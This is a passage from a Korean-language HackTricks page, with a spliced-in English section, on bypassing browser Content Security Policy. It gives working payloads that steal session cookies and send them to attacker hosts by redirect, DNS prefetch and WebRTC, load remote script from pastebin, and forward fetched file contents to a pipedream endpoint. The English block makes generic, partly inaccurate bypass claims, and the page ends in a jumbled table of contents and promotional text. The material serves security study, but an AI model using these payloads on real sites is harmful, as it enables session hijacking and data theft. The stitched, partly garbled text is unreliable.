이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학을 포함합니다. 이 북마크릿에는 악의적인 자바스크립트 코드가 포함되어 있으며, 드래그 앤 드롭이나 클릭될 때 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.

자세한 정보는 원본 보고서를 확인하세요.

CSP 제한을 통한 CSP 우회

이 CTF 해설에서는 허용된 iframe 내에 더 제한적인 CSP를 삽입하여 CSP를 우회하고, 이후 프로토타입 오염 또는 DOM 오염을 통해 임의의 스크립트를 로드할 수 있는 다른 스크립트를 남용할 수 있도록 특정 JS 파일을 로드하지 못하도록 했습니다.

Iframe의 CSP를 제한할 수 있습니다. csp 속성을 사용하여:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

이 CTF writeup에서는 HTML injection을 통해 CSP를 더 제한하여 CSTI를 방지하는 스크립트가 비활성화되어 취약점이 악용 가능해졌습니다.
CSP는 HTML 메타 태그를 사용하여 더 제한적으로 만들 수 있으며 인라인 스크립트는 입력을 제거하여 nonce를 허용하고 sha를 통해 특정 인라인 스크립트를 활성화할 수 있습니다:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출

만약 서버가 Content-Security-Policy-Report-Only 헤더를 당신이 제어하는 값으로 응답하도록 만들 수 있다면 (어떤 CRLF 때문에든), 당신은 서버를 당신의 서버를 가리키도록 만들 수 있습니다. 그리고 당신이 유출하고자 하는 JS 내용을 **<script>**로 감싸면, 아마도 unsafe-inline이 CSP에서 허용되지 않을 것이므로 이는 CSP 오류를 발생시키고 민감한 정보를 포함한 스크립트 일부가 Content-Security-Policy-Report-Only를 통해 서버로 전송될 것입니다.

예시로 이 CTF writeup을 확인하세요.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP 및 Iframe를 사용하여 정보 누출

CSP에서 허용된 URL(여기서는 https://example.redirect.com라고 가정)을 가리키는 iframe가 생성됩니다.
이 URL은 그런 다음 CSP에서 허용되지 않는 비밀 URL(예: https://usersecret.example2.com)로 리디렉션됩니다.
securitypolicyviolation 이벤트를 수신함으로써 blockedURI 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 나타내어 초기 URL이 리디렉션된 비밀 도메인을 누출합니다.

흥미로운 점은 Chrome 및 Firefox와 같은 브라우저가 CSP에 대한 iframe을 처리하는 방식이 다르며, 정의되지 않은 동작으로 인해 민감한 정보가 누출될 수 있다는 것입니다.

다른 기술은 CSP 자체를 악용하여 비밀 서브도메인을 추론하는 것입니다. 이 방법은 이진 검색 알고리즘과 CSP를 약간 수정하여 의도적으로 차단된 특정 도메인을 포함하도록 조정하는 데 의존합니다. 예를 들어, 비밀 서브도메인이 알 수없는 문자로 구성된 경우 CSP 지시문을 수정하여 이러한 서브도메인을 차단하거나 허용하도록하여 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하는 방식으로 CSP를 설정하는 스니펫입니다:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP가 차단하거나 허용하는 요청을 모니터링하여, 비밀 서브도메인의 가능한 문자를 좁히고, 결국 전체 URL을 발견할 수 있습니다.

두 가지 방법은 CSP 구현과 브라우저 동작의 세세한 점을 악용하며, 보안 정책이 민감한 정보를 무심코 노출할 수 있는 방법을 보여줍니다.

여기에서의 트릭.

경험 많은 해커 및 버그 바운티 헌터들과 소통하려면 HackenProof Discord 서버에 가입하세요!

해킹 통찰
해킹의 스릴과 도전에 대해 파고드는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요

최신 공지
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요

**Discord에서 함께하고 최고의 해커들과 협업을 시작하세요!

CSP 우회를 위한 안전하지 않은 기술

PHP 응답 버퍼 과부하

PHP는 기본적으로 응답을 4096바이트까지 버퍼링하는 것으로 알려져 있습니다. 따라서, PHP가 경고를 표시하는 경우, 경고 내부에 충분한 데이터를 제공하여 응답이 CSP 헤더 보다 먼저 전송되어 헤더가 무시되도록 할 수 있습니다.
그런 다음, 기본적으로 응답 버퍼를 경고로 채워 CSP 헤더가 전송되지 않도록 하는 기술입니다.

이 writeup에서 아이디어를 얻음.

오류 페이지 재작성

이 writeup에서 보았듯이, 오류 페이지(가능한 경우 CSP 없이)를 로드하고 해당 내용을 다시 작성하여 CSP 보호를 우회할 수 있었던 것으로 보입니다.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + 워드프레스

SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 같은 출처의 다른 엔드포인트를 악용하는 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 불러온 다음 공격자 페이지를 실제 악용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 취약한 엔드포인트가 페이로드의 opener 객체를 사용하여 실제 악용하려는 엔드포인트의 DOM에 액세스할 수 있습니다. 자세한 정보는 확인하세요:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

게다가 워드프레스에는 /wp-json/wp/v2/users/1?_jsonp=data에 JSONP 엔드포인트가 있어 출력에 보낸 데이터를 반영할 것입니다(글자, 숫자, 점만 허용됨).

공격자는 해당 엔드포인트를 악용하여 워드프레스에 대한 SOME 공격을 생성하고 <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> 내에 임베드할 수 있습니다. 이 스크립트는 'self'에 의해 허용되기 때문에 로드될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 취약한 콜백 엔드포인트를 통해 CSP를 우회하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다.
이 공격을 수행하는 방법에 대한 자세한 정보는 https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/에서 확인하세요.

CSP 유출 우회

외부 서버와 상호 작용을 허용하지 않는 엄격한 CSP가 있는 경우 정보를 유출하는 데 사용할 수 있는 몇 가지 방법이 있습니다.

Location

공격자의 서버로 비밀 정보를 보내기 위해 위치를 업데이트할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

메타 태그

메타 태그를 삽입하여 리다이렉트할 수 있습니다 (이것은 단순히 리다이렉트이며 콘텐츠가 유출되지는 않습니다)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

페이지를 더 빨리로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용하기 위해 캐시에 저장합니다.
브라우저에게 호스트 이름을 사전 해결하도록 지시할 수 있습니다: <link rel="dns-prefetch" href="something.com">

이 동작을 악용하여 DNS 요청을 통해 민감한 정보를 유출할 수 있습니다:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Content Security Policy (CSP) Bypass

Bypassing CSP using `unsafe-inline`

When a website has a strict CSP that does not allow unsafe-inline scripts, you can bypass it by injecting your script using a trusted inline script. For example, if the website allows Google Analytics scripts, you can inject your malicious script within the Google Analytics script tag.

<script>
  // Your malicious script here
</script>

Bypassing CSP using `unsafe-eval`

If a website restricts unsafe-eval but allows unsafe-inline, you can bypass it by using eval() function within an inline script.

<script>
  eval('alert("Bypassed CSP using unsafe-eval")');
</script>

Bypassing CSP using Data URI

You can bypass CSP restrictions by using Data URI to embed your script directly into the HTML document.

<script src="data:text/javascript;base64,Y29uc29sZS5sb2coIkJheXBvc2VkIENTUCB1c2luZyBkYXRhIFVSSSIpOw=="></script>

Bypassing CSP using Trusted Domains

If a website allows scripts from trusted domains, you can host your malicious script on a trusted domain and load it on the target website.

<script src="https://your-trusted-domain.com/malicious-script.js"></script>

By using these techniques, you can bypass Content Security Policy restrictions and execute your malicious scripts on the target website.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

이를 방지하기 위해 서버는 다음 HTTP 헤더를 보낼 수 있습니다:

X-DNS-Prefetch-Control: off

{% hint style="info" %} 이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않는 것으로 보입니다. {% endhint %}

WebRTC

여러 페이지에서 WebRTC가 CSP의 connect-src 정책을 확인하지 않는다고 읽을 수 있습니다.

실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 다음 코드를 확인하세요:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

다른 옵션:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

온라인으로 CSP 정책 확인하기

CSP 자동 생성

https://csper.io/docs/generating-content-security-policy

참고 자료

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!

해킹 통찰력
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요

최신 공지
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요

**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 굿즈를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
해킹 트릭을 공유하려면 HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하세요.

README.md Unescape Escape

콘텐츠 보안 정책 (CSP) 우회

CSP란 무엇인가

헤더

리소스 정의

지시문

소스

안전하지 않은 CSP 규칙

'unsafe-inline'

Iframes를 통한 self + 'unsafe-inline'

'unsafe-eval'

strict-dynamic

Wildcard (*)

object-src 및 default-src 부재

파일 업로드 + 'self'

Form-action

제3자 엔드포인트 + ('unsafe-eval')

CSP Bypass with AngularJS Sandbox

Overview

Description

Impact

Exploitation

Example

Recommendations

Angular + window 객체를 반환하는 함수를 포함한 라이브러리를 사용한 Payload:

Google reCAPTCHA JS 코드 남용

www.google.com을 이용한 오픈 리다이렉트 악용

Third Party Endpoints + JSONP

제3자 남용

Content Security Policy (CSP) Bypass

Introduction

Bypass Techniques

Impact

Mitigation

이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 블로그 게시물을 참조하십시오.

RPO (상대 경로 덮어쓰기)를 통한 우회

Iframes JS 실행

base-uri 누락

AngularJS 이벤트

AngularJS 및 화이트리스트에 등록된 도메인

CSP 정책 우회

리다이렉션을 통한 우회

매달린 마크업으로 CSP 우회

'unsafe-inline'; img-src *; via XSS

서비스 워커 사용

정책 주입

Chrome

Edge

img-src *; via XSS (iframe) - 시간 공격

북마크릿을 통한 공격

CSP 제한을 통한 CSP 우회

Content-Security-Policy-Report-Only를 사용한 JS 데이터 유출

CVE-2020-6519

CSP 및 Iframe를 사용하여 정보 누출

CSP 우회를 위한 안전하지 않은 기술

PHP 응답 버퍼 과부하

오류 페이지 재작성

SOME + 'self' + 워드프레스

CSP 유출 우회

Location

메타 태그

DNS Prefetch

Content Security Policy (CSP) Bypass

Bypassing CSP using unsafe-inline

Bypassing CSP using unsafe-eval

Bypassing CSP using Data URI

Bypassing CSP using Trusted Domains

WebRTC

온라인으로 CSP 정책 확인하기

CSP 자동 생성

참고 자료

README.md

Angular + `window` 객체를 반환하는 함수를 포함한 라이브러리를 사용한 Payload:

Bypassing CSP using `unsafe-inline`

Bypassing CSP using `unsafe-eval`